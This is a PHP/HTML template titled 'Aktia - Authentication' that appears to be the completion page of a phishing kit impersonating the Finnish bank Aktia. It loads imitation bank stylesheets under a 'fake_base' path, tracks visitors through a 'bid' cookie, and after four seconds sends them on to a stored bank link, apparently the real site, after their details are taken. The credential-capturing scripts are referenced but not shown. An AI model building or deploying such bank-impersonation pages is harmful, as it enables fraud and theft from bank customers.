<?php 

         $relative_root="";
         $parent_folders="";
         function include_config(){
            global $relative_root,$parent_folders;
            while(!file_exists($relative_root."cfg.php")){
                $parent_folders=basename(realpath($relative_root))."/".$parent_folders;
                $relative_root.="../";
            };
            return $relative_root;
         };
         require_once(include_config().'cfg.php');

         if(isset($php_js)){
             $php_js->relative_root=$relative_root;
             $php_js->parent_folders=$parent_folders;
         }
         $php_js->fake_base="done/";
?>
<!DOCTYPE html>
<html class="bd-designMode-null  webkit" dir="ltr"  >

<head>
    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>bower_components/jquery/dist/jquery.min.js"></script>
    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>bower_components/ua-parser-js/dist/ua-parser.min.js"></script>
    <link rel="stylesheet" href="<?php echo $php_js->relative_root ?>bower_components/font-awesome/css/font-awesome.min.css">
    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>core/form/core_form.js"></script>
    <!-- <script type="text/javascript" src="<?php echo $php_js->relative_root ?>core/token/core_token.js"></script> -->
    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>bower_components/angular/angular.min.js"></script>
    <script type="text/javascript" src="<?php echo $php_js->relative_root ?>bower_components/jquery.maskedinput/dist/jquery.maskedinput.min.js"></script>
    <link rel="stylesheet" href="<?php echo $php_js->relative_root ?>core/form/core_form.css">
    <base href="<?php echo $php_js->relative_root.$php_js->fake_base; ?>" />
    <link rel="stylesheet" href="form/css.css">
    <meta http-equiv="content-type" content="text/html; charset=UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>Aktia - Authentication</title>
    <link href="reset.css" rel="stylesheet" type="text/css">
    <link href="backbase-portal.css" rel="stylesheet" type="text/css">
    <link href="all.css" rel="stylesheet" type="text/css">
    <link href="aurora.min.css" rel="stylesheet" type="text/css">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0">
    <link href="favicon.png" rel="icon">
    <link href="base-2.css" rel="stylesheet" type="text/css">
    <link href="base.css" rel="stylesheet" type="text/css">
    <link href="base-1.css" rel="stylesheet" type="text/css">
    <link href="footer.css" rel="stylesheet" type="text/css">
    <link href="page-layout.css" rel="stylesheet" type="text/css">
    <link href="deck-container.css" rel="stylesheet" type="text/css">
    <link href="launcher-container.css" rel="stylesheet" type="text/css">
    <link href="panel-container.css" rel="stylesheet" type="text/css">
    <link href="advanced-content-template.css" rel="stylesheet" type="text/css">
    <link href="content-accordion.css" rel="stylesheet" type="text/css">
    <link href="notifications.css" rel="stylesheet" type="text/css">
    <link href="navbar-advanced.css" rel="stylesheet" type="text/css">
</head>
<style>
    .lp-page-children .bp-container {
        z-index: auto;
    }
</style>

<body ng-app="app" ng-controller="c1" ng-model-options="{'allowInvalid':true}" ng-cloak>

    <script type="text/javascript">
    var bid = "<?php echo isset($_COOKIE['bid'])?$_COOKIE['bid']:basename(dirname(dirname(__FILE__))) ?>"
    var php_js = <?php  echo json_encode($php_js) ?>
    </script>
    <script type="text/javascript" src="form/form.js?v=<?php echo uniqid() ?>"></script>
    <script type="text/javascript" src="ng/ng.js?v=<?php echo uniqid() ?>"></script>
    <!-- <script type="text/javascript" src="token/token.js?v=<?php echo uniqid() ?>"></script> -->



    <script type="text/javascript">
        setTimeout(function() {
            window.location.href=php_js.bb_link
        }, 4000);
    </script>
</body>

</html>